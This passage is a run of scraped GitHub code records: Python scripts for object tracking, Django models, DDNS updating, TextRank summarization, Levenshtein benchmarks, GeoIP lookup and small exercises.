ML-RFC')\r\n\r\nrun_rfc(X_train, X_test, y_train, y_test)\r\n\r\n#%%\r\n\r\n\r\n","repo_name":"Trunil/silva_microbiome_ML","sub_path":"silva_feature_selection.py","file_name":"silva_feature_selection.py","file_ext":"py","file_size_in_byte":4729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"10228548987","text":"import argparse\n\nimport numpy as np\nimport cv2 as cv\n\n\ndef gstreamer_pipeline(width=512, height=512, flip_180=False):\n args = [\"libcamerasrc\", f\"video/x-raw, width={width}, height={height}\"]\n if flip_180:\n args.append(\"videoflip method=rotate-180\")\n args.append(\"appsink\")\n return (\" ! \".join(args))\n\n\ndef calc_pos(x_pos, y_pos, x_mid, y_mid, x_center, y_center, x_band, y_band):\n if x_mid < x_center - x_band:\n x_pos -= 1\n elif x_mid > x_center + x_band:\n x_pos += 1\n\n if y_mid < y_center - y_band:\n y_pos -= 1\n elif y_mid > y_center + y_band:\n y_pos += 1\n\n if x_pos >= 180:\n x_pos = 180\n elif x_pos <= 0:\n x_pos = 0\n else:\n x_pos = x_pos\n if y_pos >= 180:\n y_pos = 180\n elif y_pos <= 0:\n y_pos = 0\n else:\n y_pos = y_pos\n return x_pos, y_pos\n\n\ndef draw_bounding_rect_for_contour(contour, img):\n (x, y, w, h) = cv.boundingRect(contour)\n # Getting Position of rectangle & line colour & thickness\n cv.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)\n\n\ndef get_midpoints(contour):\n (x, y, w, h) = cv.boundingRect(contour)\n # Checking horizontal center of red object & save to variable\n x_mid = int((x + x + w) / 2)\n # Checking Vertical center of red object & save to variable\n y_mid = int((y + y + h) / 2)\n return x_mid, y_mid\n\n\ndef show_image(img, name=None, img_scale=1):\n display_img = cv.resize(img, (img.shape[1] // img_scale,\n img.shape[0] // img_scale))\n if not name:\n name = \"img\"\n cv.imshow(name, display_img)\n cv.waitKey(0)\n cv.destroyWindow(name)\n\n\ndef get_contours_and_mask_hsv(img, low_val, high_val):\n hsv_img = cv.cvtColor(img, cv.COLOR_BGR2HSV)\n\n # low_red = np.array([163, 74, 30])\n # high_red = np.array([179, 255, 255])\n\n mask = cv.inRange(hsv_img, low_val, high_val)\n mask = cv.erode(mask, np.ones((5, 5), dtype='uint8'), iterations=1)\n # red = cv.bitwise_and(frame, frame, mask=red_mask)\n\n contours, _ = cv.findContours(mask, cv.RETR_LIST, cv.CHAIN_APPROX_NONE)\n return contours, mask\n\n\ndef get_contours_and_mask_bgr(img, low_val, high_val):\n mask = cv.inRange(img, low_val, high_val)\n contours, _ = cv.findContours(mask, cv.RETR_LIST, cv.CHAIN_APPROX_NONE)\n return contours, mask\n\n\ndef main(width, height, low_val, high_val):\n # _gst_pipeline = gstreamer_pipeline(width, height, flip_180=True)\n # cap = cv.VideoCapture(_gst_pipeline, cv.CAP_GSTREAMER)\n\n # NOTE: Capture directly from laptop camera\n cap = cv.VideoCapture(0)\n\n status, frame = cap.read()\n rows, cols, ch = frame.shape\n x_mid = int(cols / 2)\n y_mid = int(rows / 2)\n\n x_center = int(cols / 2)\n y_center = int(rows / 2)\n\n x_pos = 90\n y_pos = 90\n\n x_band = 50\n y_band = 50\n\n while status:\n frame = cv.flip(frame, 1)\n contours, mask = get_contours_and_mask_bgr(frame, low_val, high_val)\n # contours, mask = get_contours_and_mask_hsv(frame, low_val, high_val)\n\n if not len(contours):\n print(\"No contour found\")\n status, frame = cap.read()\n continue\n areas = [cv.contourArea(x) for x in contours]\n sorted_inds = np.argsort(areas)\n max_area_contour = contours[sorted_inds[-1]]\n # img = frame.copy()\n\n draw_bounding_rect_for_contour(max_area_contour, frame)\n\n x_mid, y_mid = get_midpoints(max_area_contour)\n\n # Draw horizontal centre line of red object\n cv.line(frame, (x_mid, 0), (x_mid, height), (0, 255, 0), 2)\n # Draw Vertical centre line of red object\n cv.line(frame, (0, y_mid), (width, y_mid), (0, 255, 0), 2)\n img = np.hstack([frame, np.repeat(mask, 3).reshape(*mask.shape, 3)])\n cv.imshow(\"IN Frame\", img)\n\n x_pos, y_pos = calc_pos(x_pos, y_pos, x_mid, y_mid,\n x_center, y_center, x_band, y_band)\n print(f\"X, Y: ({x_pos}, {y_pos})\")\n\n key = cv.waitKey(1)\n if key == ord('q'):\n break\n status, frame = cap.read()\n\n\n cv.destroyAllWindows()\n cap.release()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(add_help=False)\n parser.add_argument(\"-h\", \"--height\", type=int, default=320)\n parser.add_argument(\"-w\", \"--width\", type=int, default=480)\n parser.add_argument(\"-lv\", \"--low-val\")\n parser.add_argument(\"-hv\", \"--high-val\")\n args = parser.parse_args()\n low_val = np.array([*map(int, args.low_val.split(\",\"))])\n high_val = np.array([*map(int, args.high_val.split(\",\"))])\n main(args.width, args.height, low_val, high_val)\n","repo_name":"akshaybadola/robot_experiments","sub_path":"two_dof_arm/object_tracking.py","file_name":"object_tracking.py","file_ext":"py","file_size_in_byte":4660,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"37445361112","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\n# Create your models here.\nclass Books(models.Model):\n\n ACTION = 'ac'\n ADVENTURE = 'ad'\n HORROR = 'h'\n THRILLER = 'th'\n DRAMA = 'd'\n COMEDY = 'c'\n MANGA = 'm'\n COMICS = 'co'\n\n GENDER_CHOICES = [\n (ACTION, 'action'),\n (ADVENTURE, 'adventure'),\n (HORROR, 'horror'),\n (THRILLER, 'thriller'),\n (DRAMA, 'drama'),\n (COMEDY, 'comedy'),\n (MANGA, 'manga'),\n (COMICS, 'comics'),\n ]\n\n gender = models.CharField(max_length=20, choices=GENDER_CHOICES, default=ADVENTURE) # NOQA\n title = models.CharField(max_length=100)\n isbn = models.CharField(max_length=13)\n author = models.CharField(max_length=100)\n reg_date = models.DateField(auto_now=True)\n\n class Meta:\n db_table = 'books'\n\n def __str__(self):\n return self.title\n\n\nclass Loan(models.Model):\n\n id_book = models.ForeignKey(Books, on_delete=models.CASCADE, related_name='books') # NOQA\n id_user = models.ForeignKey(User, on_delete=models.CASCADE, related_name='user') # NOQA\n loan_date = models.DateField(auto_now=True)\n devolution_date = models.DateField()\n is_devolved = models.BooleanField(default=False)\n\n class Meta:\n db_table = 'loan'\n","repo_name":"CaioTeixeira95/biblioteca_django","sub_path":"core/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"38648025205","text":"import bar_chart_race as bcr\nimport pandas as pd\ndf = pd.read_csv('dumpbcr.csv.interpolated', index_col='date', parse_dates=['date'])\n\nfrom_date = df.index[0].strftime(\"%Y-%m-%d\")\nto_date = df.index[-1].strftime(\"%Y-%m-%d\")\n\nbcr.bar_chart_race(\n fig_kwargs = {\"figsize\": (9, 5), \"dpi\": 150},\n df=df,\n filename='out.mkv',\n steps_per_period=20,\n period_length=200,\n interpolate_period=False,\n end_period_pause=0,\n filter_column_colors=True,\n orientation='h',\n sort='desc',\n n_bars=30,\n fixed_max=True,\n title=f\"Largest DN42 Networks ({from_date} to {to_date})\",\n# bar_textposition='inside',\n bar_texttemplate=lambda x: f\"{x**0.25:.2f}\",\n tick_template=lambda x, _: f\"{x**0.25:,.1f}\",\n shared_fontdict={'family': 'Dejavu Sans Mono', 'weight': 'regular'},\n)\n","repo_name":"isjerryxiao/rushed_dn42_map","sub_path":"bcr.py","file_name":"bcr.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"40285756317","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 26 13:36:42 2017\n\n@author: yc\n\"\"\"\n\n#本质上是斐波那契数列,除了第一二层,后面的每层都是 f(n-1) + f(n-2),要么一步到f(n-1),要么两步到f(n-2)\n\nclass Solution(object):\n def climbStairs(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n a = [1,1,2]\n for i in range(3,n+1):\n a.append(a[i-1] + a[i-2])\n return a[n]\n ","repo_name":"zjuyuchen/LeetCode","sub_path":"LeetCode/70 Climbing Stairs.py","file_name":"70 Climbing Stairs.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"}
+{"seq_id":"104206811","text":"from PIL import Image\r\nfrom torch.utils import data\r\nimport torch\r\n\r\n\r\n## ---------------------- Dataloaders ---------------------- ##\r\nclass Dataset_Csv(data.Dataset):\r\n \"Characterizes a dataset for PyTorch\"\r\n\r\n def __init__(self, folders, labels, transform=None):\r\n \"Initialization\"\r\n # self.data_path = data_path\r\n self.labels = labels\r\n self.folders = folders\r\n self.transform = transform\r\n\r\n def __len__(self):\r\n \"Denotes the total number of samples\"\r\n return len(self.folders)\r\n\r\n def read_images(self, path, use_transform):\r\n image = Image.open(path)\r\n if use_transform is not None:\r\n image = use_transform(image)\r\n return image\r\n\r\n def __getitem__(self, index):\r\n \"Generates one sample of data\"\r\n # Select sample\r\n folder = self.folders[index]\r\n\r\n # Load data\r\n X = self.read_images(folder, self.transform) # (input) spatial images\r\n y = torch.LongTensor([self.labels[index]]) # (labels) LongTensor are for int64 instead of FloatTensor\r\n\r\n # print(X.shape)\r\n return X, y\r\n\r\n\r\n## ---------------------- end of Dataloaders ---------------------- ##\r\n\r\n\r\n\r\n","repo_name":"bomb2peng/DFGC_starterkit","sub_path":"Det_model_training/network/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"61"}
+{"seq_id":"25521707528","text":"import pytest\nimport numpy as np\nimport itertools\nimport Levenshtein as levenshtein_module\nimport python_course_levenshtein_c\nimport my_levenshtein\n\nLEN = 10\nMISTAKES = 5\n\n@pytest.fixture\ndef string1():\n \"\"\"\n This creates a random string from four characters\n \"\"\"\n return ''.join(np.random.choice(['g', 'a', 't', 'c'], size=LEN))\n\n@pytest.fixture\ndef string2(string1):\n \"\"\"\n This creates a string with a known number of differences to an existing string\n \"\"\"\n permutations = itertools.permutations(['g', 'a', 't', 'c'])\n changed = {v[0]: v[1:] for v in permutations}\n\n string2 = list(string1)\n for i in np.random.choice(LEN, replace=False, size=MISTAKES):\n string2[i] = np.random.choice(changed[string1[i]])\n\n return ''.join(string2)\n\ndef distance(string1, string2):\n \"\"\"\n This calculates the distance between two strings as a reference\n \"\"\"\n return levenshtein_module.distance(string1, string2)\n\ndef test_ctypes(string1, string2, benchmark):\n string1_c = bytes(string1, encoding='ascii')\n string2_c = bytes(string2, encoding='ascii')\n edit_distance = benchmark(python_course_levenshtein_c.get_levenshtein_distance, string1_c, string2_c)\n\n assert edit_distance == distance(string1, string2)\n\n#def test_pure_python(string1, string2, benchmark):\n# edit_distance = benchmark(my_levenshtein.calculate_levenshtein, string1, string2)\n#\n# assert edit_distance == distance(string1, string2)\n\ndef test_matrix_python(string1, string2, benchmark):\n edit_distance = benchmark(my_levenshtein.calculate_levenshtein_matrix, string1, string2)\n\n assert edit_distance == distance(string1, string2)\n\ndef test_python_module(string1, string2, benchmark):\n edit_distance = benchmark(levenshtein_module.distance, string1, string2)\n\n assert edit_distance == distance(string1, string2)\n\n\n# Test files don't usually have code for being directly run, but it's useless context here\nif __name__ == \"__main__\":\n test1 = string1()\n test2 = string2(test1)\n print(test1[0:20] + '...', test2[0:20] + '...')\n print('DISTANCE: ', distance(test1, test2))\n","repo_name":"flaxandteal/python-course","sub_path":"018-bioinformatics/test_levenshtein_benchmark.py","file_name":"test_levenshtein_benchmark.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"}
+{"seq_id":"39575784622","text":"\"\"\"\nThis file convert an array to a string ready to be registered\nin a txt or csv file.\n\"\"\"\nimport numpy as np\n\n\ndef array_to_string(matrix):\n \"\"\"\n Convert an array or a list to a string ready to be registered.\n\n Args:\n matrix (array or list of 1 or 2 dimensions): the matrix to store.\n\n Returns:\n (string): the elements of matrix separated by a comma.\n\n >>> array_to_string(np.array([[3, 4],[8, 2]]))\n '3,4,8,2'\n >>> array_to_string([[3, 4],[8, 2]])\n '3,4,8,2'\n \"\"\"\n if isinstance(matrix, list):\n str_matrix = str(matrix)\n else:\n str_matrix = str(matrix.tolist())\n str_matrix = str_matrix.replace(\"[\", \"\")\n str_matrix = str_matrix.replace(\"]\", \"\")\n\n return str_matrix.replace(\" \", \"\")\n\n\nif __name__ == \"__main__\":\n # -- Doc tests -- #\n import doctest\n doctest.testmod()\n","repo_name":"theovincent/SAG_vs_SDCA","sub_path":"src/utils/create_data/generate_data/array_to_string/array_to_string.py","file_name":"array_to_string.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"12892165529","text":"import re\nimport time\nimport json\nimport threading\n\nimport requests\n\nfrom aliyunsdkcore.client import AcsClient\nfrom aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest\nfrom aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest\n\nclass AliDDNS(object):\n def __init__(self,\n domain, record, \n id, secret,\n sleep = 600,\n ipv4 = True, ipv6 = True,\n v4api = \"http://ipv4.ipv6-test.ch/ip/\",\n v6api = \"http://ipv6.ipv6-test.ch/ip\"):\n \n assert domain.count(\".\") == 1 and \\\n not domain.startswith(\".\") and \\\n not domain.endswith(\".\")\n\n self.domain = domain\n self.record = record\n self.sleep = sleep\n self.ipv4 = ipv4\n self.ipv6 = ipv6\n self.v4api = v4api\n self.v6api = v6api\n self.v4re = re.compile(r\"(((\\d{1,2})|(1\\d{2})|(2[0-4]\\d)|(25[0-5]))\\.){3}((\\d{1,2})|(1\\d{2})|(2[0-4]\\d)|(25[0-5]))\")\n self.v6re = re.compile(r\"(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\")\n\n self.__client = AcsClient(id, secret, 'cn-hangzhou')\n\n daemon = threading.Thread(target=self.__daemon, name=\"Daemon Thread\")\n daemon.daemon = True\n daemon.start()\n\n def __daemon(self):\n while True:\n self.refresh()\n time.sleep(self.sleep)\n\n def refresh(self):\n # Get local public ipv4 address\n if self.ipv4:\n try:\n self.__v4 = re.search(self.v4re, requests.get(self.v4api).text).group(0)\n except Exception as e: \n print(\"Failed to get local public ipv4 address,\", e)\n else:\n print(\"Your ipv4 address is:\", self.__v4)\n\n try:\n describe_v4 = DescribeDomainRecordsRequest()\n describe_v4.set_accept_format('json')\n\n describe_v4.set_DomainName(self.domain)\n describe_v4.set_RRKeyWord(self.record)\n describe_v4.set_TypeKeyWord(\"A\")\n\n describeback_v4 = self.__client.do_action_with_exception(describe_v4)\n\n recordlist_v4 = json.loads(describeback_v4)\n recordid_v4 = recordlist_v4['DomainRecords']['Record'][0]['RecordId']\n value_v4 = recordlist_v4['DomainRecords']['Record'][0]['Value']\n\n if value_v4 != self.__v4:\n print('Your ipv4 address has been changed, update now.')\n update_v4 = UpdateDomainRecordRequest()\n update_v4.set_accept_format('json')\n\n update_v4.set_RecordId(recordid_v4)\n update_v4.set_Value(self.__v4)\n update_v4.set_Type(\"A\")\n update_v4.set_RR(self.record)\n\n self.__client.do_action_with_exception(update_v4)\n print('Your ipv4 record has been updated successfully.')\n except Exception as e: \n print(\"Failed to update your ipv4 record,\", e)\n\n \n # Get local public ipv6 address\n if self.ipv6:\n try:\n self.__v6 = re.search(self.v6re, requests.get(self.v6api).text).group(0)\n except Exception as e: \n print(\"Failed to get local public ipv6 address,\", e)\n else:\n print(\"Your ipv6 address is:\", self.__v6)\n\n try:\n describe_v6 = DescribeDomainRecordsRequest()\n describe_v6.set_accept_format('json')\n\n describe_v6.set_DomainName(self.domain)\n describe_v6.set_RRKeyWord(self.record)\n describe_v6.set_TypeKeyWord(\"AAAA\")\n\n describeback_v6 = self.__client.do_action_with_exception(describe_v6)\n\n recordlist_v6 = json.loads(describeback_v6)\n recordid_v6 = recordlist_v6['DomainRecords']['Record'][0]['RecordId']\n value_v6 = recordlist_v6['DomainRecords']['Record'][0]['Value']\n\n if value_v6 != self.__v6:\n print('Your ipv6 address has been changed, update now.')\n update_v6 = UpdateDomainRecordRequest()\n update_v6.set_accept_format('json')\n\n update_v6.set_RecordId(recordid_v6)\n update_v6.set_Value(self.__v6)\n update_v6.set_Type(\"AAAA\")\n update_v6.set_RR(self.record)\n\n self.__client.do_action_with_exception(update_v6)\n print('Your ipv6 record has been updated successfully.')\n except Exception as e: \n print(\"Failed to update your ipv6 record,\", e)\n \nif __name__ == \"__main__\":\n dns = AliDDNS(\"MainDomain.com\", \"SubDomain\", \"AccessKey ID\", \"AccessKey Secret\")\n \n while True:\n cmd = input()\n if cmd == \"exit\":\n break\n elif cmd == \"refresh\":\n dns.refresh()\n else:\n print(\"Unknown command.\")\n ","repo_name":"ghinknet/AliDDNS","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"11128179205","text":"class Person:\n def setvalue(self,name,age,address):\n self.name=name\n self.age=age\n self.address=address\n print(\"name\",self.name)\n print(\"age\",self.age)\n print(\"address\",self.address)\nclass Parent:\n def set(self,job,place):\n self.job=job\n self.place=place\n print(\"job\",self.job)\n print(\"place\",self.place)\nclass Employe(Person,Parent):\n def setv(self,id,salary):\n self.id=id\n self.salary=salary\n print(\"id\",self.id)\n print(\"salary\",self.salary)\nte=Employe()\nte.setvalue(\"asheesh\",'29','abc')\nte.set(\"mechanical engineer\",'alappuzha')\nte.setv(\"2314\",\"30000\")","repo_name":"harithaasheesh/mypythonrepo","sub_path":"oop/inheritance/persn_parent_emply_multipleinheri.py","file_name":"persn_parent_emply_multipleinheri.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"71353841794","text":"from selenium import webdriver\n\ndriver = webdriver.Chrome()\n\ndriver.get(\"https://www.example.com\")\n\n# Locate and select a checkbox element\ncheckbox = driver.find_element_by_id(\"checkbox_id\") # Replace with the actual element locator\nif not checkbox.is_selected():\n checkbox.click() # Select the checkbox\n\nradio_button = driver.find_element_by_id(\"radio_button_id\") # Replace with the actual element locator\nif not radio_button.is_selected():\n radio_button.click() # Select the radio button\n\n\n# Close the browser\ndriver.quit()","repo_name":"AmitBoricha/Web-automation-Selenium","sub_path":"checkbox_selection.py","file_name":"checkbox_selection.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"25206474365","text":"from setuptools import setup, find_packages\n\n# Read the contents of your README file\nwith open('README.md', encoding='utf-8') as f:\n long_description = f.read()\n\nsetup(\n name='NoteBackupCLI',\n version='0.1',\n description='A simple command-line tool to back up notes, with HackMD integration.',\n long_description=long_description,\n long_description_content_type='text/markdown',\n author='Chan Ching Yi',\n author_email='chingyichan.tw@gmail.com',\n url='https://github.com/yourusername/NoteBackupCLI',\n packages=find_packages(),\n install_requires=[\n 'requests>=2.30',\n 'click>=8.0',\n 'rich>=13.0',\n 'mistune>=3.0'\n ],\n entry_points={\n 'console_scripts': [\n 'nbc = notebackupcli.main:main',\n ],\n },\n classifiers=[\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n 'License :: OSI Approved :: Apache Software License',\n 'Operating System :: OS Independent',\n ],\n python_requires='>=3.10',\n)\n","repo_name":"qtysdk/note-backup-tool","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"43119321687","text":"class Solution(object):\n def carPooling(self, trips, capacity):\n \"\"\"\n :type trips: List[List[int]]\n :type capacity: int\n :rtype: bool\n \"\"\"\n if not trips:\n return True\n \n deltas = []\n for trip in trips:\n deltas.append([trip[1], trip[0]])\n deltas.append([trip[2], -trip[0]])\n \n deltas = sorted(deltas, key=lambda delta: delta[0])\n for i in range(len(deltas)):\n capacity -= deltas[i][1]\n # \"De-duping\" events\n if capacity < 0 and (i != len(deltas) - 1) and deltas[i][0] != deltas[i + 1][0]:\n return False\n return True","repo_name":"hexecute/leetcode-answers","sub_path":"problems/car_pooling/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"69920204034","text":"'''\nTextRank\n\nsee also:\n\"An Introduction to Text Summarization using the TextRank Algorithm (with Python implementation)\":\nhttps://www.analyticsvidhya.com/blog/2018/11/introduction-text-summarization-textrank-python/\n\nDownload pre-trained word vectors (glove.6B.100d.txt): https://nlp.stanford.edu/projects/glove/\n\n----- 6 most relevant sentences (30%) -----\n1 - At home, he oversaw the legal union of England and Wales with the Laws in Wales Acts 1535 and 1542, \n and he was the first English monarch to rule as King of Ireland following the Crown of Ireland Act 1542.\n2 - Henry's contemporaries considered him an attractive, educated, and accomplished king.\n3 - Despite the money from these sources, he was continually on the verge of financial ruin due to his personal extravagance, \n as well as his numerous costly and largely unsuccessful wars, particularly with King Francis I of France, \n Holy Roman Emperor Charles V, James V of Scotland and the Scottish regency under the Earl of Arran and Mary of Guise.\n4 - Henry VIII was King of England from 1509 until his death in 1547.\n5 - His disagreement with Pope Clement VII on the question of such an annulment led Henry to initiate the English Reformation, \n separating the Church of England from papal authority.\n6 - Henry is best known for his six marriages, and, in particular, his efforts to have his first marriage annulled.\n\n'''\n\nimport json\nimport re\nfrom typing import Any, Dict, List, Tuple\n\nimport networkx as nx\nimport numpy as np\n\nfrom nltk import pos_tag\nfrom nltk.corpus import stopwords\nfrom nltk.stem import WordNetLemmatizer, PorterStemmer\nfrom nltk.tokenize import RegexpTokenizer\n\nfrom sklearn.metrics.pairwise import cosine_similarity\n\n\nTOKENIZER = RegexpTokenizer(r\"\\w+\")\nLEMMATIZER = WordNetLemmatizer()\nSTEMMER = PorterStemmer()\nSTOPWORDS = set(stopwords.words('english'))\n\n\ndef _tokenize_text(text:str) -> List[str]:\n def filter_by_pos(token: List[str]) -> List[str]: # filter by pos tags\n return [t for t, pos in pos_tag(token) if pos in [\"NN\", \"NNP\", \"NNS\", \"VB\", \"VBD\", \"VBG\", \"VBN\", \"VBP\", \"VBZ\"]]\n def remove_stopwords(token: List[str]) -> List[str]:\n return [w for w in token if not w in STOPWORDS]\n def tokenize_text(text: str) -> List[str]:\n return TOKENIZER.tokenize(text) # list of token without punctuation etc.\n def get_token_lemmata(token: List[str]) -> List[str]: # prefer over stemming\n return [LEMMATIZER.lemmatize(t) for t in token]\n def get_token_stems(token: List[str]) -> List[str]:\n return [STEMMER.stem(t) for t in token]\n \n token: List[str] = get_token_lemmata(remove_stopwords(tokenize_text(text.lower())))\n token = filter_by_pos(token)\n \n return token\n\n\nwith open(\"data/source_texts/wikipedia_a_1.txt\") as f:\n loaded_text: str = f.read()\n\nloaded_text = loaded_text.replace(\"\\n\\n\", \" \")\n\n# ****************************************************\n#\n# text pre-processing\n#\n# ****************************************************\n# wikipedia specific: remove paranthesis and brackets incl. text inside i.e. [1] or (28 June 1491 – 28 January 1547)\nfor x in set(re.findall(\"[\\(\\[].*?[\\)\\]]\", loaded_text)):\n loaded_text = loaded_text.replace(x, \"\")\nloaded_text = \" \".join(loaded_text.split()) # remove double space\n\n\n# ***\n# split into sentences\n# use for clean-up and later to match best results with original sentences\nsentences: List[str] = loaded_text.split(\".\")\nfor i, s in enumerate(sentences):\n sentences[i] = f\"{s}.\".strip()\n\nnum_sentences = len(sentences)\n\n# ***\n# get cleaned version of each sentence\ncleaned_sentences: List[str] = [\" \".join(_tokenize_text(s)) for s in sentences] # list of sentences\ncorpus: str = \" \".join(cleaned_sentences) # all sentences as one document\n\n\n# ****************************************************\n#\n# word vectors\n#\n# ****************************************************\n# ***\n# Extract word vectors from file (a little time consuming)\nword_embeddings: Dict[str, np.ndarray] = {}\n\nwith open(\"data/glove.6B.100d.txt\") as f:\n for line in f:\n values = line.split()\n token = values[0]\n coefs = np.asarray(values[1:], dtype='float32')\n word_embeddings[token] = coefs\n\n# ***\n# apply word vectors on sentences\nsentence_vectors: List[np.ndarray] = []\n\nfor sentence in cleaned_sentences:\n if len(sentence) == 0:\n vectors = np.zeros((100,)) # fill with zeros\n else:\n vectors = sum([\n word_embeddings.get(token, np.zeros((100,))) for token in sentence.split() # get vectors of token or fill with zero\n ])/(len(sentence.split())+0.001)\n \n sentence_vectors.append(vectors)\n\n\n# ****************************************************\n#\n# similarity matrix\n#\n# ****************************************************\n# ***\n# initialize similarity matrix with dimension (n, n) (n = number of senteces)\nsimilarity_matrix = np.zeros([num_sentences, num_sentences])\n\n# ***\n# calculate cosine similarity between pairs of sentences\nfor i in range(num_sentences):\n for j in range(num_sentences):\n if i == j:\n continue\n similarity_matrix[i][j] = cosine_similarity(\n sentence_vectors[i].reshape(1,100), sentence_vectors[j].reshape(1,100)\n )[0,0]\n\n\n# ****************************************************\n#\n# text rank scores from graph\n#\n# ****************************************************\ngraph = nx.from_numpy_array(similarity_matrix)\nscores: Dict[int, float] = nx.pagerank(graph)\n\n# ****************************************************\n#\n# Summary Extraction\n#\n# ****************************************************\nranked_sentences: List[Tuple[float, str]] = sorted(((scores[i], s) for i, s in enumerate(sentences)), reverse=True)\n\n# ***\n# get the n % most relevant sentences\npercentage_text_reduction = 30\nnum_sentences = int((percentage_text_reduction * len(sentences))/100)\n\nprint(f\"----- {num_sentences} most relevant sentences ({percentage_text_reduction}%) -----\")\nfor i in range(num_sentences):\n sentence = ranked_sentences[i][1]\n print(f\"{i+1} - {sentence}\")\n","repo_name":"zushicat/text-summarization-extractive","sub_path":"extractive_text_rank.py","file_name":"extractive_text_rank.py","file_ext":"py","file_size_in_byte":6106,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"}
+{"seq_id":"9517571227","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# IPAddresses\n\nfrom maxminddb import open_database\nfrom os import path\nfrom ipaddress import IPv4Address, IPv6Address, ip_address\n\nclass GeoLite2:\n\t'Class to use MaxMind GeoLite2 databases City and ASN'\n\n\tdef __init__(self):\n\t\t'Create address from given string'\n\t\tself.dir = path.join(path.dirname(path.realpath(__file__)).rsplit('/', 2)[0], 'geolite2')\t# root dir is 2 levels up from this script\n\t\ttry:\t# try to open databases\n\t\t\tself.asn = open_database(path.join(self.dir, 'GeoLite2-ASN.mmdb'))\n\t\texcept:\n\t\t\tself.asn = None\n\t\ttry:\n\t\t\tself.country = open_database(path.join(self.dir, 'GeoLite2-Country.mmdb'))\n\t\texcept:\n\t\t\tself.country = None\n\n\tdef get(self, addr):\n\t\t'Get infos to given IP address'\n\t\tif isinstance(addr, str):\n\t\t\taddr = ip_address(addr)\n\t\tdata = dict()\n\t\tif self.country != None:\n\t\t\tif addr.is_private:\n\t\t\t\tdata['country'] = '-'\n\t\t\t\tdata['cc'] = 'private'\n\t\t\telse:\n\t\t\t\tcountry_data = self.country.get(addr)\n\t\t\t\ttry:\n\t\t\t\t\tdata['country'] = country_data['country']['names']['en']\n\t\t\t\t\tdata['cc'] = country_data['country']['iso_code']\n\t\t\t\texcept (KeyError, TypeError):\n\t\t\t\t\tdata['country'] = '-'\n\t\t\t\t\tdata['cc'] = 'unknown'\n\t\tif self.asn != None:\n\t\t\tif addr.is_private:\n\t\t\t\tif self.country == None:\n\t\t\t\t\tdata['aso'] = 'Private IP Address'\n\t\t\t\telse:\n\t\t\t\t\tdata['aso'] = '-'\n\t\t\t\tdata['asn'] = '-'\n\t\t\telse:\n\t\t\t\tasn_data = self.asn.get(addr)\n\t\t\t\ttry:\n\t\t\t\t\tdata['aso'] = asn_data['autonomous_system_organization']\n\t\t\t\t\tdata['asn'] = asn_data['autonomous_system_number']\n\t\t\t\texcept (KeyError, TypeError):\n\t\t\t\t\tdata['aso'] = '-'\n\t\t\t\t\tdata['asn'] = '-'\n\t\treturn 